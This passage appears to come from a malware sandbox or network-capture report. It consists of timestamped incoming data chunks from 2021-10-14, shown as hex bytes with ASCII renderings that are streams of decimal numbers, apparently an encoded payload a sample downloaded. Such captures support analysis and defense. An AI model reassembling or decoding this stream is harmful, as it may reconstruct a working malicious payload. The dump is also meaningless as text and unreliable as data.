35 38 20 33 33 20 35 36 20 37 37 20 31 34 34 20 31 31 34 20 31 31 37 20 31 30 33 20 39 37 20 35 36 20 37 35 20 32 34 
37 20 35 34 20 38 34 20 31 32 30 20 39 33 20 31 37 35 20 31 31 32 20 35 30 20 35 34 20 39 33 20 32 34 30 20 38 34 20 
31 31 34 20 31 32 37 20 31 32 34 20 37 39 20 39 33 20 32 34 37 20 35 30 20 
Data Ascii: 17 50 48 25 37 80 99 113 25 27 50 48 51 89 149 114 117 103 99 13 27 3 39 107 29 183 109 112 56 68 63 54 
84 105 102 103 97 56 75 241 54 84 120 89 119 97 58 33 56 77 144 114 117 103 97 56 75 247 54 84 120 93 175 112 50 5
4 93 240 84 114 127 124 79 93 247 50 

2021-10-14 06:12:17 UTC 37 IN Data Raw: 35 20 35 30 20 34 38 20 35 36 20 33 33 20 31 37 30 20 31 31 32 20 32 31 20 31 30 37 20 33 31 20 32 35 31 
20 34 38 20 35 30 20 36 30 20 36 37 20 31 34 30 20 31 31 39 20 35 30 20 39 37 20 35 32 20 39 35 20 32 35 31 20 35 34 
20 38 34 20 31 32 30 20 39 38 20 31 34 37 20 31 31 34 20 31 30 39 20 39 20 34 20 35 35 20 38 34 20 31 31 34 20 31 31 
20 39 39 20 31 31 32 20 35 30 20 35 32 20 39 34 20 33 30 20 31 35 30 20 31 31 32 20 31 31 37 20 31 30 37 20 38 38 20 
32 34 38 20 34 38 20 35 30 20 36 30 20 32 30 20 32 34 39 20 31 31 37 20 31 30 39 20 31 31 32 20 33 35 20 35 33 20 32 
36 20 39 33 20 38 36 20 31 31 34 20 31 31 35 20 36 39 20 31 37 39 20 34 38 20 34 38 20 35 32 20 34 34 20 32 31 37 20 
31 30 33 20 31 31 37 20 31 30 39 20 31 31 33 20 33 33 20 31 31 32 20 33 35 
Data Ascii: 5 50 48 56 33 170 112 21 107 31 251 48 50 60 67 140 119 50 97 52 95 251 54 84 120 98 147 114 109 9 4 55 
84 114 11 99 112 50 52 94 30 150 112 117 107 88 248 48 50 60 20 249 117 109 112 35 53 26 93 86 114 115 69 179 48 48 
52 44 217 103 117 109 113 33 112 35

2021-10-14 06:12:17 UTC 38 IN Data Raw: 32 20 38 38 20 35 20 34 38 20 35 30 20 36 30 20 37 31 20 31 30 36 20 39 33 20 38 35 20 31 31 32 20 35 30 
20 35 38 20 32 33 36 20 35 34 20 36 39 20 31 32 32 20 39 33 20 31 35 33 20 31 31 32 20 35 30 20 35 34 20 39 33 20 32 
34 30 20 38 34 20 31 31 34 20 31 32 37 20 31 37 39 20 31 32 37 20 32 33 20 32 34 20 35 20 35 34 20 38 34 20 31 32 30 
20 31 30 32 20 31 31 36 20 38 38 20 31 30 20 34 38 20 35 30 20 36 30 20 31 33 38 20 31 31 34 20 31 30 30 20 31 30 31 
20 38 38 20 31 39 39 20 34 38 20 35 30 20 34 38 20 35 39 20 31 38 30 20 31 31 37 20 31 30 39 20 31 32 32 20 32 33 36 
20 36 33 20 32 33 20 33 30 20 39 39 20 31 31 34 20 31 31 37 20 31 30 33 20 39 39 20 34 30 20 32 34 20 31 30 20 35 34 
20 38 34 20 31 32 30 20 31 37 31 20 31 30 39 20 39 37 20 35 38 20 32 34 20 
Data Ascii: 2 88 5 48 50 60 71 106 93 85 112 50 58 236 54 69 122 93 153 112 50 54 93 240 84 114 127 179 127 23 24 5 
54 84 120 102 116 88 10 48 50 60 138 114 100 101 88 199 48 50 48 59 180 117 109 122 236 63 23 30 99 114 117 103 99 
40 24 10 54 84 120 171 109 97 58 24 

2021-10-14 06:12:17 UTC 40 IN Data Raw: 32 20 38 38 20 35 20 34 38 20 35 30 20 36 30 20 37 31 20 38 36 20 39 33 20 38 35 20 31 31 32 20 35 30 20 
35 38 20 32 33 36 20 35 34 20 36 39 20 31 32 32 20 39 33 20 31 39 31 20 31 31 32 20 35 30 20 35 34 20 39 33 20 32 34 
30 20 38 34 20 31 31 34 20 31 32 37 20 31 37 39 20 31 32 37 20 32 33 20 32 34 20 35 20 35 34 20 38 34 20 31 32 30 20 
31 30 32 20 37 32 20 38 38 20 31 30 20 34 38 20 35 30 20 36 30 20 31 33 38 20 31 31 34 20 31 30 30 20 31 30 31 20 38 
38 20 33 39 20 34 39 20 35 30 20 34 38 20 35 39 20 31 38 30 20 31 31 37 20 31 30 39 20 31 32 32 20 32 33 36 20 36 30 
20 32 36 20 31 20 38 34 20 31 31 34 20 31 32 37 20 36 39 20 37 32 20 35 30 20 34 38 20 35 36 20 32 33 32 20 38 34 20 
39 39 20 31 32 35 20 36 39 20 31 31 39 20 35 31 20 34 38 20 35 32 20 38 39 
Data Ascii: 2 88 5 48 50 60 71 86 93 85 112 50 58 236 54 69 122 93 191 112 50 54 93 240 84 114 127 179 127 23 24 5 
54 84 120 102 72 88 10 48 50 60 138 114 100 101 88 39 49 50 48 59 180 117 109 122 236 60 26 1 84 114 127 69 72 50 4
8 56 232 84 99 125 69 119 51 48 52 89

2021-10-14 06:12:17 UTC 41 IN Data Raw: 39 20 32 20 32 34 20 31 30 20 35 34 20 38 34 20 31 32 30 20 31 37 31 20 31 30 39 20 39 37 20 35 38 20 32 
34 20 32 34 31 20 35 34 20 38 34 20 31 31 36 20 32 36 20 31 37 31 20 31 31 32 20 35 30 20 35 38 20 32 33 36 20 35 37 
20 31 31 33 20 39 30 20 36 36 20 31 30 39 20 31 31 32 20 35 36 20 33 35 20 33 20 33 30 20 31 30 38 20 31 31 34 20 31 
31 37 20 31 30 33 20 31 37 34 20 35 30 20 33 33 20 35 38 20 33 30 20 31 36 36 20 31 31 34 20 31 31 37 20 31 30 37 20 
33 31 20 32 34 34 20 34 38 20 35 30 20 36 30 20 31 33 38 20 31 32 35 20 38 30 20 36 39 20 37 31 20 35 30 20 34 38 20 
35 36 20 33 37 20 31 30 32 20 39 30 20 37 37 20 31 30 39 20 31 31 32 20 35 36 20 32 33 38 20 35 30 20 33 39 20 39 32 
20 39 30 20 31 34 37 20 31 30 39 20 31 31 32 20 35 32 20 39 35 20 32 34 34 
Data Ascii: 9 2 24 10 54 84 120 171 109 97 58 24 241 54 84 116 26 171 112 50 58 236 57 113 90 66 109 112 56 35 3 30 
108 114 117 103 174 50 33 58 30 166 114 117 107 31 244 48 50 60 138 125 80 69 71 50 48 56 37 102 90 77 109 112 56 
238 50 39 92 90 147 109 112 52 95 244

2021-10-14 06:12:17 UTC 42 IN Data Raw: 20 32 32 34 20 35 30 20 35 34 20 39 34 20 39 37 20 37 38 20 31 32 34 20 37 35 20 39 33 20 32 35 20 34 38 
20 35 34 20 38 32 20 31 32 36 20 31 30 30 20 38 36 20 33 31 20 32 31 20 35 30 20 35 30 20 34 38 20 37 31 20 31 32 33 
20 31 30 30 20 38 36 20 33 31 20 31 37 20 35 30 20 35 30 20 34 38 20 39 34 20 39 39 20 37 38 20 32 20 38 35 20 34 38 
20 34 38 20 35 32 20 33 37 20 38 32 20 39 39 20 31 32 34 20 32 20 31 38 35 20 35 30 20 34 38 20 35 36 20 33 33 20 31 
37 30 20 31 31 32 20 31 32 35 20 32 20 31 38 35 20 35 30 20 34 38 20 35 36 20 33 33 20 31 37 30 20 31 31 32 20 32 31 
20 31 30 37 20 33 31 20 32 35 31 20 34 38 20 35 30 20 36 30 20 36 37 20 31 34 30 20 31 31 39 20 35 30 20 39 37 20 35 
32 20 39 35 20 32 35 31 20 35 34 20 38 34 20 31 32 30 20 39 38 20 31 34 37 
Data Ascii:  224 50 54 94 97 78 124 75 93 25 48 54 82 126 100 86 31 21 50 50 48 71 123 100 86 31 17 50 50 48 94 99 78 
2 85 48 48 52 37 82 99 124 2 185 50 48 56 33 170 112 125 2 185 50 48 56 33 170 112 21 107 31 251 48 50 60 67 140 119 
50 97 52 95 251 54 84 120 98 147

2021-10-14 06:12:17 UTC 44 IN Data Raw: 32 20 31 31 39 20 31 37 30 20 31 30 30 20 31 32 32 20 31 30 39 20 31 31 32 20 34 31 20 39 35 20 31 30 31 
20 35 34 20 38 34 20 31 32 30 20 31 36 39 20 31 32 34 20 31 31 39 20 39 33 20 32 32 36 20 35 30 20 35 34 20 39 34 20 
32 39 20 31 38 38 20 31 30 39 20 31 31 32 20 35 36 20 34 31 20 31 32 20 39 31 20 38 35 20 31 31 34 20 31 31 37 20 31 
39 20 31 32 36 20 35 30 20 34 38 20 35 34 20 33 33 20 31 30 33 20 37 39 20 39 33 20 31 37 33 20 31 31 34 20 35 30 20 
35 34 20 32 36 20 32 38 20 38 34 20 31 31 34 20 31 31 35 20 36 39 20 38 38 20 35 30 20 34 38 20 35 32 20 33 39 20 38 
33 20 32 39 20 31 36 37 20 31 30 39 20 31 31 32 20 35 36 20 32 34 20 32 32 20 35 34 20 38 34 20 31 32 30 20 39 37 20 
31 32 33 20 38 38 20 30 20 34 38 20 35 30 20 34 38 20 31 31 34 20 31 37 35 
Data Ascii: 2 119 170 100 122 109 112 41 95 101 54 84 120 169 124 119 93 226 50 54 94 29 188 109 112 56 41 12 91 85 
114 117 19 126 50 48 54 33 103 79 93 173 114 50 54 26 28 84 114 115 69 88 50 48 52 39 83 29 167 109 112 56 24 22 54 
84 120 97 123 88 0 48 50 48 114 175
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2021-10-14 06:12:17 UTC 45 IN Data Raw: 30 20 36 33 20 31 31 32 20 31 31 37 20 31 30 37 20 38 38 20 32 34 31 20 35 30 20 35 30 20 34 38 20 36 39 
20 31 31 39 20 32 36 20 31 39 30 20 31 31 32 20 35 30 20 35 38 20 32 36 20 32 35 33 20 38 34 20 31 31 34 20 31 32 37 
20 36 39 20 32 38 20 34 38 20 34 38 20 35 32 20 33 30 20 31 31 35 20 31 31 34 20 31 31 37 20 31 30 33 20 38 38 20 38 
20 34 38 20 35 30 20 34 38 20 31 31 34 20 39 39 20 31 31 32 20 32 20 31 36 34 20 35 30 20 34 38 20 35 36 20 33 39 20 
39 32 20 32 39 20 31 38 37 20 31 30 39 20 31 31 32 20 35 36 20 33 38 20 33 20 35 34 20 36 39 20 31 32 32 20 32 36 20 
31 38 34 20 31 31 32 20 35 30 20 35 38 20 32 34 20 35 34 20 38 34 20 31 31 34 20 35 32 20 31 32 31 20 31 31 37 20 35 
30 20 35 30 20 35 30 20 35 34 20 38 34 20 31 32 33 20 31 31 38 20 31 30 39 
Data Ascii: 0 63 112 117 107 88 241 50 50 48 69 119 26 190 112 50 58 26 253 84 114 127 69 28 48 48 52 30 115 114 117 
103 88 8 48 50 48 114 99 112 2 164 50 48 56 39 92 29 187 109 112 56 38 3 54 69 122 26 184 112 50 58 24 54 84 114 52 
121 117 50 50 50 54 84 123 118 109

2021-10-14 06:12:17 UTC 46 IN Data Raw: 31 37 20 31 30 39 20 31 31 32 20 34 30 20 34 38 20 35 30 20 35 35 20 38 34 20 31 31 34 20 31 31 37 20 31 
30 39 20 31 35 30 20 35 32 20 34 38 20 35 30 20 35 36 20 38 34 20 31 31 34 20 31 31 37 20 31 35 33 20 31 31 38 20 35 
30 20 34 38 20 36 31 20 35 34 20 38 34 20 31 31 34 20 31 31 31 20 31 30 39 20 31 31 32 20 35 31 20 34 38 20 35 30 20 
35 34 20 38 34 20 31 31 33 20 31 31 34 20 31 30 39 20 31 31 32 20 36 30 20 34 38 20 35 30 20 35 34 20 36 39 20 31 31 
37 20 31 31 37 20 31 30 39 20 31 32 37 20 35 30 20 34 38 20 35 30 20 34 34 20 38 34 20 31 31 34 20 31 31 36 20 31 30 
39 20 31 31 32 20 35 30 20 34 38 20 31 38 20 34 39 20 38 34 20 31 31 34 20 31 32 33 20 31 30 39 20 31 31 32 20 35 30 
20 33 30 20 35 33 20 35 34 20 38 34 20 31 32 36 20 31 31 37 20 31 30 39 20 
Data Ascii: 17 109 112 40 48 50 55 84 114 117 109 150 52 48 50 56 84 114 117 153 118 50 48 61 54 84 114 111 109 112 
51 48 50 54 84 113 114 109 112 60 48 50 54 69 117 117 109 127 50 48 50 44 84 114 116 109 112 50 48 18 49 84 114 123 
109 112 50 30 53 54 84 126 117 109 

2021-10-14 06:12:17 UTC 48 IN Data Raw: 20 31 31 32 20 36 30 20 34 38 20 35 30 20 35 34 20 31 34 38 20 31 32 32 20 31 31 37 20 31 30 39 20 31 32 
37 20 35 30 20 34 38 20 35 30 20 34 34 20 38 34 20 31 31 34 20 31 31 36 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 
32 35 33 20 36 32 20 38 34 20 31 31 34 20 31 32 33 20 31 30 39 20 31 31 32 20 35 30 20 32 33 37 20 35 38 20 35 34 20 
38 34 20 31 32 35 20 31 31 37 20 31 30 39 20 31 31 32 20 34 30 20 34 38 20 35 30 20 35 35 20 38 34 20 31 31 34 20 31 
31 37 20 31 30 39 20 31 35 36 20 35 38 20 34 38 20 35 30 20 35 36 20 38 34 20 31 31 34 20 31 31 37 20 31 35 31 20 31 
32 30 20 35 30 20 34 38 20 36 31 20 35 34 20 38 34 20 31 31 34 20 31 31 31 20 31 30 39 20 31 31 32 20 35 31 20 34 38 
20 35 30 20 35 34 20 38 34 20 31 32 33 20 31 32 34 20 31 30 39 20 31 31 32 
Data Ascii:  112 60 48 50 54 148 122 117 109 127 50 48 50 44 84 114 116 109 112 50 48 253 62 84 114 123 109 112 50 
237 58 54 84 125 117 109 112 40 48 50 55 84 114 117 109 156 58 48 50 56 84 114 117 151 120 50 48 61 54 84 114 111 
109 112 51 48 50 54 84 123 124 109 112

2021-10-14 06:12:17 UTC 49 IN Data Raw: 34 30 20 34 38 20 35 30 20 35 35 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 32 33 30 20 35 36 20 34 
38 20 35 30 20 35 36 20 38 34 20 31 31 34 20 31 31 37 20 32 30 31 20 31 32 32 20 35 30 20 34 38 20 36 31 20 35 34 20 
38 34 20 31 31 34 20 31 31 31 20 31 30 39 20 31 31 32 20 35 31 20 34 38 20 35 30 20 35 34 20 38 34 20 31 39 33 20 31 
32 37 20 31 30 39 20 31 31 32 20 36 30 20 34 38 20 35 30 20 35 34 20 31 34 39 20 31 32 30 20 31 31 37 20 31 30 39 20 
31 32 37 20 35 30 20 34 38 20 35 30 20 34 34 20 38 34 20 31 31 34 20 31 31 36 20 31 30 39 20 31 31 32 20 35 30 20 34 
38 20 31 39 38 20 36 30 20 38 34 20 31 31 34 20 36 20 31 30 38 20 31 31 32 20 35 30 20 38 37 20 36 32 20 35 34 20 38 
34 20 31 32 35 20 31 31 37 20 31 30 39 20 31 31 32 20 34 30 20 34 38 20 35 
Data Ascii: 40 48 50 55 84 114 117 109 230 56 48 50 56 84 114 117 201 122 50 48 61 54 84 114 111 109 112 51 48 50 54 
84 193 127 109 112 60 48 50 54 149 120 117 109 127 50 48 50 44 84 114 116 109 112 50 48 198 60 84 114 6 108 112 50 
87 62 54 84 125 117 109 112 40 48 5

2021-10-14 06:12:17 UTC 50 IN Data Raw: 37 20 31 31 35 20 31 32 34 20 31 31 38 20 39 33 20 32 31 32 20 35 30 20 35 34 20 39 34 20 31 31 32 20 39 
33 20 35 33 20 31 31 34 20 35 30 20 35 34 20 32 36 20 37 39 20 38 34 20 31 31 34 20 31 32 37 20 31 32 36 20 31 32 33 
20 33 32 20 35 39 20 37 36 20 33 32 20 38 34 20 31 31 34 20 31 31 33 20 36 39 20 31 30 20 35 30 20 34 38 20 35 36 20 
33 30 20 35 30 20 31 31 32 20 31 31 37 20 31 30 37 20 38 38 20 37 38 20 34 38 20 35 30 20 36 30 20 35 39 20 31 35 31 
20 31 31 37 20 31 30 39 20 31 32 32 20 33 35 20 35 32 20 39 33 20 32 30 38 20 38 34 20 31 31 34 20 31 32 37 20 31 32 
34 20 31 31 38 20 39 33 20 32 31 35 20 35 30 20 35 34 20 39 34 20 39 39 20 31 31 33 20 36 39 20 39 34 20 34 38 20 34 
38 20 35 32 20 38 39 20 31 38 38 20 31 31 34 20 31 31 37 20 31 30 33 20 39 
Data Ascii: 7 115 124 118 93 212 50 54 94 112 93 53 114 50 54 26 79 84 114 127 126 123 32 59 76 32 84 114 113 69 10 
50 48 56 30 50 112 117 107 88 78 48 50 60 59 151 117 109 122 35 52 93 208 84 114 127 124 118 93 215 50 54 94 99 113 
69 94 48 48 52 89 188 114 117 103 9

2021-10-14 06:12:17 UTC 52 IN Data Raw: 30 20 36 30 20 36 36 20 39 30 20 31 35 33 20 31 30 39 20 31 31 32 20 35 36 20 35 38 20 33 32 20 35 34 20 
31 31 36 20 31 31 34 20 31 31 36 20 31 30 39 20 31 31 32 20 32 36 20 35 20 35 30 20 35 34 20 38 32 20 39 30 20 37 37 
20 31 30 39 20 31 31 32 20 35 32 20 32 34 20 31 31 31 20 35 34 20 38 34 20 31 32 30 20 39 33 20 31 38 37 20 31 31 34 
20 35 30 20 35 34 20 32 36 20 37 39 20 38 34 20 31 31 34 20 31 32 37 20 31 30 32 20 39 38 20 35 31 20 32 34 20 32 32 
33 20 35 34 20 38 34 20 31 32 30 20 31 32 31 20 31 32 37 20 31 31 34 20 32 36 20 32 32 32 20 35 30 20 35 34 20 39 34 
20 39 30 20 31 36 32 20 31 31 31 20 31 31 32 20 35 32 20 32 34 20 37 38 20 35 34 20 38 34 20 31 32 30 20 31 30 37 20 
37 20 38 38 20 34 20 34 38 20 35 30 20 34 38 20 31 31 34 20 31 37 32 20 31 
Data Ascii: 0 60 66 90 153 109 112 56 58 32 54 116 114 116 109 112 26 5 50 54 82 90 77 109 112 52 24 111 54 84 120 
93 187 114 50 54 26 79 84 114 127 102 98 51 24 223 54 84 120 121 127 114 26 222 50 54 94 90 162 111 112 52 24 78 54 
84 120 107 7 88 4 48 50 48 114 172 1

2021-10-14 06:12:17 UTC 53 IN Data Raw: 20 35 34 20 35 34 20 36 39 20 31 31 38 20 31 30 37 20 31 34 37 20 31 31 33 20 33 30 20 35 30 20 32 35 20 
35 31 20 31 30 38 20 31 30 20 31 33 38 20 31 34 36 20 31 34 33 20 35 38 20 33 39 20 32 32 38 20 35 38 20 39 32 20 31 
32 33 20 32 35 31 20 32 31 38 20 37 39 20 36 35 20 32 30 37 20 32 30 35 20 32 30 31 20 36 36 20 38 38 20 31 31 37 20 
31 31 38 20 36 34 20 35 34 20 34 38 20 31 38 31 20 35 32 20 38 34 20 31 31 34 20 39 33 20 31 30 39 20 31 31 32 20 33 
35 20 32 34 20 32 33 34 20 35 32 20 38 34 20 31 31 36 20 31 32 37 20 33 30 20 31 37 34 20 35 31 20 34 38 20 35 32 20 
33 37 20 38 33 20 31 32 20 31 31 31 20 31 30 39 20 31 31 32 20 35 34 20 32 38 20 39 39 20 33 39 20 38 33 20 31 32 20 
31 31 30 20 31 30 39 20 31 31 32 20 35 34 20 39 35 20 32 31 30 20 35 35 20 
Data Ascii:  54 54 69 118 107 147 113 30 50 25 51 108 10 138 146 143 58 39 228 58 92 123 251 218 79 65 207 205 201 
66 88 117 118 64 54 48 181 52 84 114 93 109 112 35 24 234 52 84 116 127 30 174 51 48 52 37 83 12 111 109 112 54 28 
99 39 83 12 110 109 112 54 95 210 55 

2021-10-14 06:12:17 UTC 57 IN Data Raw: 20 36 35 20 31 31 34 20 32 35 20 35 33 20 31 30 20 36 39 20 31 37 30 20 31 34 31 20 31 33 38 20 37 31 20 
31 31 32 20 35 30 20 34 38 20 34 31 20 36 20 38 30 20 31 31 34 20 31 39 30 20 31 30 39 20 31 31 32 20 35 30 20 32 36 
20 35 30 20 35 34 20 36 39 20 31 31 32 20 39 33 20 31 34 36 20 31 31 32 20 35 30 20 35 38 20 39 33 20 32 20 38 34 20 
31 31 34 20 31 32 37 20 32 20 36 39 20 35 30 20 34 38 20 35 36 20 36 30 20 31 33 37 20 31 39 33 20 31 31 37 20 31 30 
39 20 31 31 32 20 32 33 20 32 34 20 35 20 35 34 20 38 34 20 31 32 30 20 31 32 31 20 31 31 31 20 38 38 20 32 30 35 20 
34 38 20 35 30 20 36 30 20 37 31 20 31 31 38 20 38 35 20 31 30 39 20 31 31 36 20 35 30 20 34 38 20 31 39 31 20 37 37 
20 38 34 20 31 31 34 20 31 31 36 20 39 36 20 31 36 30 20 37 38 20 34 38 20 
Data Ascii:  65 114 25 53 10 69 170 141 138 71 112 50 48 41 6 80 114 190 109 112 50 26 50 54 69 112 93 146 112 50 58 
93 2 84 114 127 2 69 50 48 56 60 137 193 117 109 112 23 24 5 54 84 120 121 111 88 205 48 50 60 71 118 85 109 116 50 
48 191 77 84 114 116 96 160 78 48 
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2021-10-14 06:12:17 UTC 61 IN Data Raw: 20 31 39 20 38 35 20 35 30 20 34 38 20 35 34 20 36 32 20 32 30 36 20 31 30 30 20 39 33 20 36 37 20 31 31 
32 20 35 30 20 35 38 20 33 36 20 32 30 30 20 38 35 20 39 34 20 36 35 20 31 31 33 20 39 39 20 35 34 20 34 38 20 33 35 
20 35 30 20 37 37 20 31 34 30 20 31 31 36 20 36 35 20 31 32 37 20 33 36 20 37 38 20 32 33 20 35 34 20 38 34 20 31 31 
38 20 32 35 31 20 32 31 38 20 31 30 33 20 32 33 32 20 36 31 20 36 32 20 34 34 20 37 31 20 31 31 38 20 31 31 37 20 31 
32 34 20 31 31 36 20 33 36 20 32 30 36 20 35 31 20 32 36 20 38 37 20 31 30 31 20 31 30 32 20 31 30 35 20 31 31 32 20 
33 35 20 35 32 20 34 37 20 32 30 30 20 38 35 20 39 34 20 31 31 39 20 37 30 20 31 31 37 20 31 30 20 38 39 20 32 30 35 
20 32 30 31 20 31 37 31 20 31 32 32 20 39 38 20 31 38 37 20 31 32 34 20 35 
Data Ascii:  19 85 50 48 54 62 206 100 93 67 112 50 58 36 200 85 94 65 113 99 54 48 35 50 77 140 116 65 127 36 78 23 
54 84 118 251 218 103 232 61 62 44 71 118 117 124 116 36 206 51 26 87 101 102 105 112 35 52 47 200 85 94 119 70 1
17 10 89 205 201 171 122 98 187 124 5

2021-10-14 06:12:17 UTC 65 IN Data Raw: 32 20 35 36 20 31 37 36 20 35 38 20 35 34 20 38 34 20 31 31 38 20 31 36 38 20 32 33 36 20 31 31 35 20 35 
30 20 34 38 20 34 38 20 34 31 20 33 39 20 36 35 20 31 30 38 20 31 39 20 31 32 30 20 35 30 20 34 38 20 35 34 20 33 30 
20 38 32 20 31 31 33 20 31 31 37 20 31 30 37 20 38 38 20 32 32 20 34 38 20 35 30 20 36 30 20 32 31 32 20 31 32 32 20 
31 31 37 20 31 30 39 20 31 31 36 20 32 33 39 20 38 33 20 34 39 20 35 34 20 38 34 20 31 31 32 20 31 30 36 20 32 35 20 
36 37 20 34 33 20 37 38 20 35 38 20 35 34 20 38 34 20 31 31 38 20 39 33 20 31 30 36 20 31 31 35 20 35 30 20 35 34 20 
32 36 20 31 38 20 38 34 20 31 31 34 20 31 32 37 20 32 33 37 20 31 32 30 20 35 30 20 34 38 20 35 34 20 32 33 35 20 31 
37 20 31 31 33 20 31 31 37 20 31 30 39 20 31 31 34 20 34 35 20 36 39 20 31 
Data Ascii: 2 56 176 58 54 84 118 168 236 115 50 48 48 41 39 65 108 19 120 50 48 54 30 82 113 117 107 88 22 48 50 60 
212 122 117 109 116 239 83 49 54 84 112 106 25 67 43 78 58 54 84 118 93 106 115 50 54 26 18 84 114 127 237 120 50 
48 54 235 17 113 117 109 114 45 69 1

2021-10-14 06:12:17 UTC 69 IN Data Raw: 20 31 31 34 20 31 30 30 20 31 31 38 20 31 30 37 20 32 30 34 20 34 39 20 33 30 20 35 39 20 38 36 20 39 39 
20 31 32 36 20 36 39 20 39 39 20 35 31 20 34 38 20 35 36 20 33 37 20 39 32 20 31 31 30 20 31 30 32 20 31 31 38 20 31 
31 32 20 33 35 20 34 33 20 34 35 20 38 20 31 37 30 20 31 31 35 20 38 39 20 39 37 20 31 31 35 20 39 38 20 35 34 20 39 
33 20 33 34 20 38 35 20 31 31 34 20 31 32 37 20 31 31 34 20 37 39 20 33 33 20 34 33 20 35 30 20 33 39 20 37 39 20 31 
31 31 20 31 33 39 20 31 30 38 20 39 32 20 36 33 20 35 30 20 33 35 20 36 31 20 31 32 34 20 39 37 20 31 31 36 20 31 30 
39 20 31 32 32 20 33 33 20 35 37 20 34 34 20 33 37 20 37 39 20 31 31 34 20 31 30 30 20 31 31 38 20 31 30 35 20 32 30 
34 20 34 39 20 33 30 20 35 39 20 38 36 20 39 39 20 31 32 36 20 36 39 20 39 
Data Ascii:  114 100 118 107 204 49 30 59 86 99 126 69 99 51 48 56 37 92 110 102 118 112 35 43 45 8 170 115 89 97 
115 98 54 93 34 85 114 127 114 79 33 43 50 39 79 111 139 108 92 63 50 35 61 124 97 116 109 122 33 57 44 37 79 114 
100 118 105 204 49 30 59 86 99 126 69 9

2021-10-14 06:12:17 UTC 73 IN Data Raw: 31 30 35 20 38 38 20 33 33 20 35 31 20 35 30 20 34 38 20 35 39 20 31 30 37 20 31 31 36 20 31 30 39 20 31 
32 32 20 33 31 20 32 37 20 35 34 20 33 30 20 36 34 20 31 31 33 20 31 31 37 20 31 30 37 20 33 31 20 34 33 20 34 39 20 
35 30 20 36 30 20 31 32 30 20 31 31 32 20 39 34 20 31 31 33 20 31 31 36 20 32 36 20 33 37 20 34 39 20 35 34 20 38 32 
20 32 39 20 31 30 38 20 31 30 38 20 31 31 32 20 35 36 20 32 38 20 34 38 20 32 39 20 38 39 20 31 31 38 20 39 33 20 31 
32 33 20 31 31 35 20 35 30 20 35 34 20 39 33 20 34 37 20 38 35 20 31 31 34 20 31 32 37 20 36 35 20 31 31 38 20 34 35 
20 34 30 20 33 33 20 35 37 20 31 32 37 20 31 31 37 20 39 39 20 32 32 34 20 39 31 20 35 30 20 34 38 20 35 31 20 32 38 
20 37 35 20 39 38 20 32 34 38 20 37 30 20 31 31 32 20 35 30 20 34 39 20 33 
Data Ascii: 105 88 33 51 50 48 59 107 116 109 122 31 27 54 30 64 113 117 107 31 43 49 50 60 120 112 94 113 116 26 37 
49 54 82 29 108 108 112 56 28 48 29 89 118 93 123 115 50 54 93 47 85 114 127 65 118 45 40 33 57 127 117 99 224 91 
50 48 51 28 75 98 248 70 112 50 49 3

2021-10-14 06:12:17 UTC 77 IN Data Raw: 31 31 32 20 35 30 20 35 38 20 31 33 33 20 35 32 20 39 32 20 31 30 36 20 32 36 20 31 33 30 20 31 31 32 20 
35 30 20 35 38 20 34 35 20 33 38 20 31 32 34 20 39 33 20 31 31 36 20 31 30 39 20 31 32 32 20 31 37 34 20 34 34 20 33 
33 20 35 30 20 38 34 20 39 39 20 31 31 33 20 31 31 32 20 31 34 32 20 35 31 20 32 38 20 35 33 20 36 32 20 39 33 20 36 
37 20 31 38 37 20 31 31 35 20 39 39 20 35 34 20 34 38 20 33 35 20 35 30 20 37 36 20 31 34 30 20 31 31 36 20 36 35 20 
39 32 20 34 38 20 39 35 20 32 35 31 20 35 34 20 38 34 20 31 32 30 20 32 35 20 37 38 20 31 31 32 20 35 30 20 34 38 20 
35 30 20 35 34 20 38 34 20 31 31 34 20 35 33 20 35 34 20 38 33 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 
34 20 31 33 33 20 38 32 20 34 31 20 32 36 20 31 36 31 20 35 30 20 35 34 20 
Data Ascii: 112 50 58 133 52 92 106 26 130 112 50 58 45 38 124 93 116 109 122 174 44 33 50 84 99 113 112 142 51 28 
53 62 93 67 187 115 99 54 48 35 50 76 140 116 65 92 48 95 251 54 84 120 25 78 112 50 48 50 54 84 114 53 54 83 50 48 
50 54 84 114 133 82 41 26 161 50 54 

2021-10-14 06:12:17 UTC 82 IN Data Raw: 38 20 33 35 20 33 34 20 34 35 20 33 38 20 31 34 32 20 39 39 20 31 32 33 20 31 38 33 20 39 39 20 33 33 20 
33 33 20 36 30 20 33 33 20 31 34 32 20 31 30 31 20 31 36 33 20 32 32 34 20 39 31 20 35 30 20 34 38 20 35 31 20 33 37 
20 36 39 20 39 39 20 39 37 20 31 32 34 20 39 38 20 33 35 20 33 35 20 32 33 32 20 33 39 20 36 39 20 31 30 30 20 31 30 
30 20 31 32 34 20 32 35 34 20 31 33 33 20 32 34 20 33 37 20 35 35 20 38 34 20 31 32 30 20 36 20 37 32 20 31 31 33 20 
35 30 20 35 38 20 33 33 20 33 35 20 36 39 20 31 30 33 20 31 30 30 20 31 32 34 20 33 31 20 31 36 20 34 39 20 35 30 20 
36 30 20 37 31 20 31 30 30 20 31 30 30 20 31 32 33 20 38 38 20 34 32 20 34 39 20 35 30 20 36 30 20 31 32 34 20 33 37 
20 31 31 39 20 31 30 39 20 31 31 38 20 32 36 20 33 30 20 34 38 20 35 34 20 
Data Ascii: 8 35 34 45 38 142 99 123 183 99 33 33 60 33 142 101 163 224 91 50 48 51 37 69 99 97 124 98 35 35 232 39 
69 100 100 124 254 133 24 37 55 84 120 6 72 113 50 58 33 35 69 103 100 124 31 16 49 50 60 71 100 100 123 88 42 49 
50 60 124 37 119 109 118 26 30 48 54 

2021-10-14 06:12:17 UTC 86 IN Data Raw: 20 32 34 31 20 39 37 20 36 32 20 33 39 20 32 36 20 31 34 35 20 38 34 20 31 31 34 20 31 32 37 20 37 35 20 
31 30 38 20 33 33 20 36 33 20 35 30 20 33 39 20 39 31 20 31 30 39 20 39 37 20 31 34 37 20 31 31 33 20 33 30 20 36 31 
20 33 35 20 35 38 20 36 36 20 32 32 36 20 37 36 20 31 38 33 20 31 31 32 20 35 30 20 34 38 20 34 35 20 33 35 20 37 31 
20 31 32 35 20 31 31 37 20 31 32 34 20 31 32 37 20 34 34 20 32 30 36 20 35 31 20 32 36 20 38 39 20 39 39 20 31 32 31 
20 31 31 37 20 32 32 34 20 31 31 20 31 31 32 20 35 31 20 35 34 20 38 34 20 31 30 39 20 31 32 34 20 31 32 36 20 31 32 
